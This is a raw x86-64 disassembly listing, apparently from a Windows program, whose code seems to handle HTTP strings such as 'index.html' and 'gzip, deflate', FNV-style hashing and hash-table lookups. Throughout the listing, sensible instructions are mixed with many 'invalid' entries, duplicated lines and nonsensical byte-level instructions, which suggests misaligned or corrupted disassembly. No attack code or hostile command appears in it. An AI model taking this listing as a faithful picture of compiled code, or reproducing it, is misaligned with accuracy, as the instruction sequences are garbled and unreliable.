lea rdx, [0x140192224]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov esi, 0x13
jmp 0x1400199c3
mov r12, rbx
mov esp, ebx
fdivr qword [rsi + 5]
mov esi, 5
add eax, 0x48000000
lea ebx, [0x140132e74]
lea rbx, [0x140132e74]
test r9b, 1
je 0x1400194c0
push rcx
push rcx
nop
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
cmp rcx, rax
jne 0x140019498
mov edx, 1
lea rcx, [rsp + 0x58]
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x58
call fcn.1400087c0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
invalid
mov rdx, qword [rsp + 0x58]
push rsp
and al, 0x58
mov byte [rdx + rax], 0x10
jmp 0x1400194f1
mov r12, rbx
lea rbx, [0x140132e66]
cdq
adc dword [rax], eax
cdq
adc dword [rax], eax
test r9b, 1
jne 0x140019470
nop word cs:[rax + rax]
nop dword [rax + rax]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x1400194e8
push 0x75c13948
sbb dword [rdx + 1], edi
mov edx, 1
lea rcx, [rsp + 0x58]
and al, 0x58
call fcn.1400087c0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
and al, 0x68
invalid
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
enter 0xffffffffffff870f, 0x35
invalid
add byte [rax], al
xchg dword [0x18801952b], esi
xor eax, 0x48000025
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], eax
mov rcx, rbx
mov rdx, rsi
lea rsi, [rsp + 0x58]
mov r8, rsi
call fcn.140015550
sar bh, 0xff
sar bh, 0xff
mov rcx, qword [rsp + 0xa0]
mov ecx, dword [rsp + 0xa0]
mov rdx, qword [rsp + 0xa8]
mov r8, rsi
call fcn.140015550
mov r15, rdi
mov rbx, r12
mov rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
and al, 0xb8
add byte [rax], al
add byte [rax], al
mov r8, qword [rsp + 0xc0]
invalid
invalid
mov word [rax + rcx*8], fs
and al, 0xc8
add byte [rax], al
mov r8, qword [rsp + 0xc0]
lea rcx, [rsp + 0xc8]
and al, 0xc8
add byte [rax], al
add bh, bh
push rax
adc byte [rdi], cl
mov dh, 0x84
and al, 0x40
add eax, dword [rax]
invalid
and al, 0xc8
add byte [rax], al
add bh, bh
push rax
adc byte [rdi], cl
mov dh, 0x84
and al, 0x40
add eax, dword [rax]
add eax, dword [rax]
add byte [rax], al
add byte [rax - 0x7d], cl
clc
or al, 0xf
test eax, eax
invalid
cmp rax, 0xc
jne 0x140018930
jmp 0x140018d20
mov r12, rbx
lea rbx, [0x140132e6d]
test r9b, 1
test cl, 1
test cl, 1
add dword [rdi], ecx
jne 0x140019470
test edi, esp
invalid
jmp 0x1400194c0
mov r12, rbx
mov esi, 0xa
lea rbx, [0x140132e5c]
test r9b, 1
test cl, 1
test cl, 1
jne 0x140019470
jmp 0x1400194c0
mov r12, rbx
mov esi, 9
lea rbx, [0x140132e79]
test r9b, 1
jne 0x140019470
jmp 0x1400194c0
mov r12, rbx
lea rbx, [0x140132e82]
test r9b, 1
je 0x1400194c0
jmp 0x140019470
mov rax, qword [rsp + 0xa0]
mov rax, qword [rax]
bswap rax
movabs rcx, 0x2f696e6465782e68
mov rdx, rcx
cmp rax, rcx
mov rbp, r14
jne 0x140019629
mov rax, qword [rsp + 0xa0]
mov rax, qword [rax + 3]
bswap rax
xor ecx, ecx
movabs r8, 0x6465782e68746d6c
mov rdx, r8
cmp rax, r8
je 0x140019636
cmp rax, rdx
mov ecx, 0
sbb ecx, ecx
or ecx, 1
xor eax, eax
test ecx, ecx
sete al
mov rcx, rax
or rcx, 4
mov qword [rsp + 0xb8], rcx
mov rcx, qword [rsp + 0x2d8]
lea rdx, [rsp + 0xb8]
mov qword [rdx + 0x48], rcx
movups xmm0, xmmword [rsp + 0x298]
movups xmm1, xmmword [rsp + 0x2a8]
movups xmm2, xmmword [rsp + 0x2b8]
movups xmm3, xmmword [rsp + 0x2c8]
movups xmmword [rdx + 0x38], xmm3
movups xmmword [rdx + 0x28], xmm2
movups xmmword [rdx + 0x18], xmm1
movups xmmword [rdx + 8], xmm0
xor al, 1
movzx eax, al
mov qword [rsp + 0xb0], rax
lea rcx, [0x140192374]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rbp, r14
jmp 0x140019760
mov rcx, qword [rsp + 0xa0]
mov eax, dword [rcx]
bswap eax
cmp eax, 0x68747470
jne 0x1400196f7
movzx eax, byte [rcx + 4]
add eax, 0xffffff8d
jmp 0x140019701
cmp eax, 0x194
mov rbp, r14
je 0x140019752
mov ecx, 0
mov qword [rsp + 0x48], rcx
cmp eax, 0x1f4
jne 0x1400199d0
mov esi, 0xe
jmp 0x140019760
mov eax, 0
sbb eax, eax
or eax, 1
mov rbp, r14
xor ecx, ecx
test eax, eax
sete cl
mov rsi, rcx
or rsi, 6
mov qword [rsp + 0x48], rcx
test cl, cl
jne 0x140019760
xor r8d, r8d
jmp 0x1400199d0
movzx ecx, byte [rsp + 0x480]
mov r13d, r9d
call fcn.140024640
mov rbx, rax
mov rsi, rdx
mov r9d, r13d
test r9b, 1
jne 0x140019470
jmp 0x1400194c0
mov esi, 0xb
jmp 0x140019760
mov esi, 0xd
jmp 0x140019760
mov esi, 9
nop
mov rax, qword [rsp + 0x2d8]
lea rcx, [rsp + 0xb8]
mov qword [rcx + 0x48], rax
movups xmm0, xmmword [rsp + 0x298]
cwde
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x2a8], cl
add byte [rax], al
movups xmm2, xmmword [rsp + 0x2b8]
movups xmm3, xmmword [rsp + 0x2c8]
movups xmmword [rcx + 0x38], xmm3
pop rcx
cmp byte [rdi], cl
adc dword [rcx + 0x28], edx
movups xmmword [rcx + 0x18], xmm1
movups xmmword [rcx + 8], xmm0
mov qword [rsp + 0xb8], rsi
mov qword [rsp + 0xb0], 0
mov rax, qword [rsp + 0x60]
jmp 0x14001a565
add cl, ch
add dword gs:[rax], eax
add dword [rax], eax
add byte [rsi + 0x1b], bh
jmp 0x1400199c3
add dword [rax], eax
invalid
cmp qword [rsp + 0x438], 0xd
jne 0x1400199be
movabs rax, 0x6564202c70697a67
mov rdx, qword [rsp + 0x430]
xchg esp, eax
and al, 0x30
add al, 0
invalid
xor rax, qword [rdx]
movabs rcx, 0x6574616c66656420
mov ecx, 0x66656420
insb byte [rdi], dx
invalid
je 0x140019907
xor rcx, qword [rdx + 5]
xor ecx, dword [rdx + 5]
or rcx, rax
sete cl
mov esi, 0x10
adc byte [rax], al
add byte [rax], al
mov qword [rsp + 0x48], rcx
test cl, cl
je 0x14001971b
jmp 0x140019760
mov esi, 0x14
jmp 0x1400199c3
add byte [rax], al
add cl, ch
invalid
mov esi, 0xf
jmp 0x1400199c3
add byte [rsi + 0x1d], bh
jmp 0x1400199c3
mov esi, 0x11
jmp 0x1400199c3
mov esi, 0x12
jmp 0x1400199c3
invalid
jmp 0x1400199d0
mov esi, 0x10
xor r8d, r8d
mov qword [rsp + 0x48], 0
nop
mov dword [rsp + 0x198], r8d
mov qword [rsp + 0x180], rsi
mov qword [rsp + 0x188], r15
lea rcx, [rsp + 0x298]
call fcn.140015b40
shl rax, 2
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rdi + 0x68]
lea rcx, [rsi + rsi*2]
cmp rax, rcx
jbe 0x140019a90
cmp byte [rsp + 0x198], 0
je case.default.0x140019a86
mov rax, qword [rsp + 0x2d8]
lea rcx, [rsp + 0xb8]
mov qword [rcx + 0x40], rax
movups xmm0, xmmword [rsp + 0x298]
movups xmm1, xmmword [rsp + 0x2a8]
movups xmm2, xmmword [rsp + 0x2b8]
movups xmm3, xmmword [rsp + 0x2c8]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov eax, 4
mov qword [rsp + 0xb0], rax
lea rcx, [0x140192374]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov r15, qword [rsp + 0x188]
jmp rax
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x290], rax
movups xmm0, xmmword [rsp + 0x298]
movups xmm1, xmmword [rsp + 0x2a8]
movups xmm2, xmmword [rsp + 0x2b8]
movups xmm3, xmmword [rsp + 0x2c8]
movaps xmmword [rsp + 0x280], xmm3
movaps xmmword [rsp + 0x270], xmm2
movaps xmmword [rsp + 0x260], xmm1
movaps xmmword [rsp + 0x250], xmm0
lea rcx, [rsp + 0x250]
call fcn.140015b40
add rax, qword [rdi + 0x60]
cmp rax, rsi
cmp eax, esi
cmp eax, esi
mov r15, qword [rsp + 0x188]
mov r8, qword [rsp + 0x180]
jb 0x140019b20
movzx eax, byte [rsp + 0x290]
lea ecx, [rax - 8]
cmp cl, 0xf9
ja 0x140019b20
test al, 1
jne 0x140019dc3
nop
mov rax, qword [rsp + 0x88]
mov r14, qword [rax + 0x28]
mov rax, qword [rax + 0x48]
mov rcx, r14
shr rcx, 2
mov rdx, r14
sub rdx, rcx
cmp rax, rdx
jne 0x140019dcf
test rax, rax
je 0x140019c2f
test r14, r14
je case.0x1400dd9c6.811
mov r15, qword [rsp + 0x88]
mov rax, qword [r15 + 0x20]
mov rcx, qword [r15 + 0x50]
lea rdx, [r14*8]
lea rdx, [rdx + rdx*2]
xor r8d, r8d
xor esi, esi
jmp 0x140019b90
add r8, 0x18
inc rsi
cmp rdx, r8
je 0x140019ca4
cmp dword [rax + r8], 1
jne 0x140019b80
mov r9, qword [rax + r8 + 0x10]
and r9, rcx
mov r10, rsi
sub r10, r9
test r10, rcx
jne 0x140019b80
jmp 0x140019cb2
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x2d8]
lea rcx, [rsp + 0xb8]
mov qword [rcx + 0x48], rax
mov dword [rcx + 0x48], eax
mov dword [rcx + 0x48], eax
movups xmm0, xmmword [rsp + 0x298]
movups xmm1, xmmword [rsp + 0x2a8]
movups xmm2, xmmword [rsp + 0x2b8]
movups xmm3, xmmword [rsp + 0x2c8]
movups xmmword [rcx + 0x38], xmm3
cmp byte [rdi], cl
adc dword [rcx + 0x28], edx
cmp byte [rdi], cl
adc dword [rcx + 0x28], edx
movups xmmword [rcx + 0x18], xmm1
movups xmmword [rcx + 8], xmm0
mov rax, qword [rsp + 0x48]
and al, 0x48
and al, 0x48
not al
and al, 1
movzx eax, al
mov qword [rsp + 0xb0], rax
add byte [rax - 0x73], cl
or eax, 0x178756
add byte [rax - 0x73], cl
or eax, 0x178756
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
mov r15, qword [rsp + 0x188]
jmp rax
mov rsi, qword [rsp + 0x88]
mov qword [rsi + 0x50], 7
mov qword [rsp + 0x1a0], 0
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x1a0]
add al, ch
cli
add byte [r8], al
add al, ch
cli
add byte [r8], al
cmp qword [rsi + 0x18], 0
je 0x140019c80
mov r8, qword [rsi + 0x20]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x130]
mov rcx, qword [rsp + 0x240]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0x120]
test byte [rax + riz], ah
add dword [rax], eax
add byte [rdi], cl
adc dword [rcx], eax
test byte [rax + riz], ah
add dword [rax], eax
add byte [rdi], cl
adc dword [rcx], eax
jmp 0x140019dbb
xor esi, esi
jmp 0x140019cb2
xor esi, esi
mov r15, qword [rsp + 0x88]
add r14, r14
mov qword [rsp + 0x1a0], 0
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + riz], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xa0
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + riz], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xa0
add dword [rax], eax
add byte [rax], al
mov r8, r14
add byte [rax], al
mov r8, r14
call fcn.14001e860
mov rax, qword [r15 + 0x18]
mov r8, qword [r15 + 0x20]
mov rdx, qword [r15 + 0x28]
mov rcx, qword [rsp + 0x130]
mov r9, qword [rsp + 0x240]
mov qword [r9 + 0x10], rcx
movups xmm0, xmmword [rsp + 0x120]
movups xmmword [r9], xmm0
dec r14
mov qword [r15 + 0x50], r14
cmp rsi, rdx
ja 0x14001bc16
jne 0x140019fdd
test rsi, rsi
je 0x140019d9f
lea rcx, [rsi + rsi*2]
lea rcx, [r8 + rcx*8]
mov rdx, qword [r15 + 0x20]
mov r9, qword [r15 + 0x28]
sub byte [rbp - 0x77], cl
ret 0x2beb
sub byte [rbp - 0x77], cl
ret 0x2beb
lea rdi, [rdx + rbx*8]
mov qword [rdi], 1
invalid
add dword [rax], eax
add byte [rax], al
mov qword [rdi + 8], r11
mov qword [rdi + 0x10], rsi
mov rbx, qword [rsp + 0x98]
invalid
add r10, 0x18
cmp r10, rcx
je 0x140019d9f
test byte [r10], 1
je 0x140019d5b
mov r11, qword [r10 + 8]
mov rsi, qword [r10 + 0x10]
mov rbx, rsi
and rbx, r14
nop dword [rax + rax]
mov rdi, rbx
mov ebx, 0
cmp rdi, r9
jae 0x140019d80
lea rbx, [rdi + rdi*2]
cmp dword [rdx + rbx*8], 1
jne 0x140019d40
inc rdi
mov rbx, rdi
jmp 0x140019d80
test rax, rax
je 0x140019db3
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rsp + 0x188]
mov r8, qword [rsp + 0x180]
mov rax, qword [rsp + 0x88]
mov r14, qword [rax + 0x28]
test r14, r14
je 0x140019eb4
movzx eax, byte [rsp + 0x290]
movzx edi, al
or al, 0xf8
mov byte [rsp + 0x178], al
cmp al, 0xfa
setb al
dec rdi
sete cl
or cl, al
mov rdx, qword [rsp + 0x250]
mov qword [rsp + 0x2f0], rdx
je 0x140019f2a
xor ecx, ecx
test rdx, rdx
setne cl
movabs rax, 0xa8c7f832281a39c5
xor rcx, rax
movabs rax, 0x1efac7090aef4a21
imul rcx, rax
test rdx, rdx
mov r11, qword [rsp + 0x88]
je 0x14001a071
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0x110], rax
mov r8, qword [rsp + 0x260]
test r8, r8
je 0x14001a130
mov r9, r8
and r9, 7
je 0x14001a08d
mov rax, qword [rsp + 0x110]
movabs r10, 0x100000001b3
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
movzx edx, byte [rax]
inc rax
xor rdx, rcx
imul rdx, r10
mov rcx, rdx
dec r9
jne 0x140019e90
cmp r8, 8
jae 0x14001a0a8
jmp 0x14001a124
cmp byte [rsp + 0x198], 0
je case.default.0x140019f28
mov rax, qword [rsp + 0x290]
lea rcx, [rsp + 0xb8]
mov qword [rcx + 0x40], rax
movaps xmm0, xmmword [rsp + 0x250]
movaps xmm1, xmmword [rsp + 0x260]
movaps xmm2, xmmword [rsp + 0x270]
movaps xmm3, xmmword [rsp + 0x280]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov eax, 4
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
lea rcx, [0x140192374]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, rdi
movabs rax, 0xcbf29ce484222325
xor rcx, rax
movabs rax, 0x1efac7090aef4a21
imul rcx, rax
movzx eax, byte [rsp + 0x258]
mov qword [rsp + 0x110], rax
mov r11, qword [rsp + 0x88]
jmp 0x14001a130
mov qword [rsp + 0xb8], r8
mov rax, qword [rsp + 0x290]
lea rcx, [rsp + 0xb8]
mov qword [rcx + 0x48], rax
movaps xmm0, xmmword [rsp + 0x250]
add al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x260], cl
add al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x260], cl
movaps xmm2, xmmword [rsp + 0x270]
movaps xmm3, xmmword [rsp + 0x280]
add al, byte [rax]
add byte [rdi], cl
sub byte [rsp + 0x280], bl
movups xmmword [rcx + 0x38], xmm3
movups xmmword [rcx + 0x28], xmm2
adc dword [rcx + 0x28], edx
adc dword [rcx + 0x28], edx
movups xmmword [rcx + 0x18], xmm1
movups xmmword [rcx + 8], xmm0
mov rax, qword [rsp + 0x48]
and al, 0x48
and al, 0x48
not al
and al, 1
movzx eax, al
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
lea rcx, [0x140192374]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rcx, [rdx + rdx*2]
lea rcx, [r8 + rcx*8]
lea rdx, [rsi + rsi*2]
lea rdx, [r8 + rdx*8]
mov r9, qword [r15 + 0x20]
and byte [rbp - 0x75], cl
push rdi
sub bl, ch
invalid
and byte [rbp - 0x75], cl
push rdi
sub bl, ch
cmp dword [rsi + 0xf], esp
invalid
lea rbx, [r9 + r15*8]
mov qword [rbx], 1
mov qword [rbx + 8], r11
mov qword [rbx + 0x10], rdi
mov r15, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x98]
add rdx, 0x18
cmp rdx, rcx
je 0x140019d1b
sbb byte [rax + 0x39], cl
retf 0x840f
test byte [rdx], 1
je 0x14001a023
mov r11, qword [rdx + 8]
mov rdi, qword [rdx + 0x10]
mov edi, dword [rdx + 0x10]
or byte [rax - 0x75], cl
jp 0x14001a04d
mov edi, dword [rdx + 0x10]
mov r15, rdi
and r15, r14
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 5], cl
add byte [rax], al
mov rbx, r15
mov r15d, 0
cmp rbx, r10
jae 0x14001a050
lea r15, [rbx + rbx*2]
lea edi, [rbx + rbx*2]
cmp dword [r9 + r15*8], 1
jne 0x14001a000
inc rbx
mov r15, rbx
jmp 0x14001a050
movzx edx, byte [rsp + 0x258]
mov qword [rsp + 0x110], rdx
xor rcx, rdx
imul rcx, rax
jmp 0x14001a130
mov rdx, rcx
mov rax, qword [rsp + 0x110]
mov eax, dword [rsp + 0x110]
mov eax, dword [rsp + 0x110]
movabs r10, 0x100000001b3
cmp r8, 8
jb 0x14001a124
mov rcx, qword [rsp + 0x110]
add rcx, r8
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
movzx r8d, byte [rax]
xor r8, rdx
imul r8, r10
movzx edx, byte [rax + 1]
xor rdx, r8
imul rdx, r10
movzx r8d, byte [rax + 2]
xor r8, rdx
imul r8, r10
movzx edx, byte [rax + 3]
xor rdx, r8
imul rdx, r10
movzx r8d, byte [rax + 4]
xor r8, rdx
imul r8, r10
movzx edx, byte [rax + 5]
xor rdx, r8
imul rdx, r10
movzx r8d, byte [rax + 6]
xor r8, rdx
imul r8, r10
movzx edx, byte [rax + 7]
add rax, 8
xor rdx, r8
imul rdx, r10
cmp rax, rcx
jne 0x14001a0c0
add byte [rcx + 0x31], cl
ror byte [rbp + 0xf], 1
scasd eax, dword [rdi]
ret 0xb60f
mov rcx, rdx
nop word [rax + rax]
movzx r9d, cx
mov rsi, qword [r11 + 0x50]
mov eax, r9d
and eax, esi
mov rbx, qword [r11 + 0x20]
mov r10, qword [r11 + 0x30]
mov rdx, qword [r11 + 0x58]
mov rcx, qword [r11 + 0x48]
mov qword [rsp + 0x428], rcx
mov rcx, qword [r11 + 0x40]
mov qword [rsp + 0x440], rcx
cmp byte [rsp + 0x178], 0xfa
mov ecx, 0
cmovb rdi, rcx
mov qword [rsp + 0x118], rdi
sbb byte [rcx], al
add byte [rax], al
sbb byte [rcx], al
add byte [rax], al
mov rcx, qword [r11 + 0x38]
mov qword [rsp + 0x3e8], rcx
mov r11, rdx
mov rcx, qword [rsp + 0x258]
add al, byte [rax]
add byte [rax - 0x77], cl
mov word [rax + riz*8], fs
add al, byte [rax]
add byte [rax - 0x75], cl
mov word [rax + riz*2], fs
add al, byte [rax]
add byte [rax - 0x77], cl
mov word [rax + rbp*8], fs
add al, byte [rax]
add byte [rcx], dh
dec dword [rcx + rcx*4 - 0x74]
and al, 0xf8
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x6c], cl
and al, 0x70
add dword [rax], eax
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x68
add dword [rax], eax
add byte [rax - 0x77], cl
lodsb al, byte [rsi]
and al, 0x48
add al, byte [rax]
add bl, ch
invalid
add al, byte [rax]
add byte [rax - 0x77], cl
mov word [rax + riz*8], fs
add al, byte [rax]
add byte [rax - 0x75], cl
mov word [rax + riz*2], fs
add al, byte [rax]
add byte [rax - 0x77], cl
mov word [rax + rbp*8], fs
add al, byte [rax]
add byte [rcx], dh
dec dword [rcx + rcx*4 - 0x74]
and al, 0xf8
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x6c], cl
and al, 0x70
add dword [rax], eax
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x68
add dword [rax], eax
add byte [rax - 0x77], cl
lodsb al, byte [rsi]
and al, 0x48
add al, byte [rax]
add bl, ch
and ecx, dword [rax - 0x75]
mov word [rax + rdx], fs
add dword [rax], eax
add byte [rax], bh
or byte [rdi], cl
test byte [rsi + 1], dl
add byte [rax], al
mov rcx, qword [rsp + 0x110]
cmp byte [rax + 8], cl
je 0x14001a334
inc rdi
inc r15
mov rax, r15
mov rbp, qword [rsp + 0x248]
nop
mov r15, rax
mov eax, 0
cmp r15, r14
jae 0x14001a1f0
lea rax, [r15 + r15*2]
cmp dword [rbx + rax*8], 1
jne 0x14001a488
lea rax, [rbx + rax*8]
mov rcx, qword [rax + 0x10]
mov rdx, rsi
and rdx, rcx
mov r8, r15
sub r8, rdx
and r8, rsi
cmp r8, rdi
jb 0x14001a4ed
cmp rcx, r9
jne 0x14001a1de
mov rax, qword [rax + 8]
lea rbp, [r11 + rax]
cmp rbp, qword [rsp + 0x428]
jae 0x14001bac5
mov r13, rax
mov rax, qword [rsp + 0x440]
lea r12, [rax + rbp]
cmp r12, r10
mov rax, r10
mov r8d, 0
cmovb rax, r8
mov rcx, r12
sub rcx, rax
lea rax, [rcx + rcx*2]
shl rax, 5
mov rcx, qword [rsp + 0x3e8]
movzx edx, byte [rcx + rax + 0x50]
lea ecx, [rdx - 8]
dec rdx
cmp cl, 0xfa
cmovb rdx, r8
cmp rdx, qword [rsp + 0x118]
jne 0x14001a1de
cmp cl, 0xf9
ja 0x14001a334
cmp byte [rsp + 0x178], 0xf9
ja 0x14001a334
mov rcx, qword [rsp + 0x3e8]
add rax, rcx
add rax, 0x10
cmp qword [rsp + 0x2f0], 0
sete dl
mov rcx, qword [rax]
test rcx, rcx
setne r8b
cmp r8b, dl
je 0x14001a1de
test rcx, rcx
je 0x14001a1cd
mov rcx, qword [rsp + 0x2e8]
cmp qword [rax + 0x10], rcx
jne 0x14001a1de
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x2e0]
mov r8, qword [rsp + 0x2e8]
test byte [rax + rbp*8], ah
add al, byte [rax]
add al, ch
invalid
jge 0x14001a323
add byte [rbx + rcx*4 - 0x64], cl
and al, 0x68
add dword [rax], eax
add byte [rbx + rcx*4 - 0x6c], cl
and al, 0x70
add dword [rax], eax
add byte [rbx + rcx*4 - 0x74], cl
and al, 0xf8
add eax, dword [rax]
add byte [rbp - 0x557af040], al
invalid
invalid
invalid
test byte [rax + rbp*8], ah
add al, byte [rax]
add al, ch
invalid
movaps xmm0, xmmword [rsp + 0x250]
movaps xmm1, xmmword [rsp + 0x260]
movaps xmm2, xmmword [rsp + 0x270]
movaps xmm3, xmmword [rsp + 0x280]
movaps xmmword [rsp + 0x120], xmm0
movaps xmmword [rsp + 0x130], xmm1
mov word [rax + rsi], fs
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x150], ebx
mov word [rax + rsi], fs
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x150], ebx
movaps xmmword [rsp + 0x140], xmm2
mov rdx, qword [rsp + 0x290]
mov qword [rsp + 0x160], rdx
and al, 0x60
add dword [rax], eax
add byte [rdi + rcx - 0x49], al
mov word [rax + riz], fs
add dword [rax], eax
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0x30
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rbp], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rdi*2], ah
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x84
and al, 0x2f
add dword [rax], eax
add cl, al
loopne 0x14001a3c0
and al, 0x60
add dword [rax], eax
add byte [rdi + rcx - 0x49], al
mov word [rax + riz], fs
add dword [rax], eax
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0x30
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rbp], ah
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rdi*2], ah
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x84
and al, 0x2f
add dword [rax], eax
add cl, al
loopne 0x14001a3c0
movzx ecx, word [rsp + 0x12d]
sub eax, 0x9000001
ror dword [rax - 0x3f], 0xe1
and byte [rbx + 0x1292484], cl
add byte [rax], al
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0x129]
and al, 0x29
add dword [rax], eax
add byte [rax + 9], cl
enter 0xffffffffffff8b48, 0xffffffffffffff8c
mov ecx, dword [rsp + 0x121]
invalid
invalid
test byte [rax + riz*8], ah
or rax, rcx
mov rcx, qword [rsp + 0x121]
mov ecx, dword [rsp + 0x121]
mov ecx, dword [rsp + 0x121]
mov qword [rsp + 0x4e0], rax
mov qword [rsp + 0x4d8], rcx
shld rax, rcx, 8
shld eax, ecx, 8
add al, 0
add byte [rax - 0x77], cl
mov word [rax + rbx*8], fs
add al, 0
add byte [rax + 0xf], cl
shld eax, ecx, 8
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x48], rdx
shld eax, ecx, 8
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x48], rdx
mov eax, edx
or al, 0xf8
mov byte [rsp + 0x2e0], al
mov rax, qword [rsp + 0x150]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x2f0], rax
cmp r12, r10
mov rax, r10
mov r8d, 0
add byte [rax], al
add byte [rax], al
cmovb rax, r8
sub r12, rax
lea rax, [r12 + r12*2]
lea eax, [rsp + riz*2]
lea eax, [rsp + riz*2]
shl rax, 5
mov rdi, qword [rsp + 0x3e8]
movzx ecx, byte [rdi + rax + 0x50]
lea edx, [rcx - 2]
dec rcx
cmp dl, 6
mov rdx, qword [rsp + 0x148]
mov qword [rsp + 0x110], rdx
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
adc byte [rcx + 0xf], cl
invalid
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
lea rdx, [0x140192358]
movsxd rcx, dword [rdx + rcx*4]
mov cl, byte [rax + 1]
ror dword [rbx + rcx*4 - 0x44], 1
mov edi, dword [rsp + 0x188]
mov cl, byte [rax + 1]
ror dword [rbx + rcx*4 - 0x44], 1
mov edi, dword [rsp + 0x188]
mov rbx, qword [rsp + 0x98]
mov rsi, qword [rsp + 0x428]
mov word [rsp + 0x118], r9w
mov edi, dword [rsp + 0x188]
mov rbx, qword [rsp + 0x98]
mov rsi, qword [rsp + 0x428]
mov word [rsp + 0x118], r9w
jmp rcx
mov rax, qword [rsp + 0x48]
and al, 0x48
mov byte [rsp + 0x38], al
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0xb0]
mov rdx, qword [rsp + 0x240]
lea r8, [rsp + 0x250]
call fcn.140022130
mov rax, qword [rsp + 0xb0]
lea rcx, [0x140192374]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
mov r15, qword [rsp + 0x188]
mov rbx, qword [rsp + 0x98]
jmp rax
mov rax, qword [rsp + 0x48]
mov byte [rsp + 0x38], al
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
and al, 0x28
and al, 0x28
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0xb0]
mov rdx, qword [rsp + 0x240]
lea r8, [rsp + 0x250]
lea eax, [rsp + 0x250]
lea eax, [rsp + 0x250]
call fcn.140022130
mov rax, qword [rsp + 0xb0]
lea rcx, [0x140192374]
jle 0x14001a54f
add byte [rax + 0x63], cl
add al, 0x81
jle 0x14001a54f
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
mov r15, qword [rsp + 0x188]
add dword [rax], eax
add byte [rax - 0x75], cl
pushfq
and al, 0x98
add byte [rax], al
add bh, bh
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
pushfq
and al, 0x98
add byte [rax], al
add bh, bh
loopne 0x14001a59b
invalid
mov rsi, qword [rsp + 0xb8]
mov esi, dword [rsp + 0xb8]
mov eax, 0x48000000
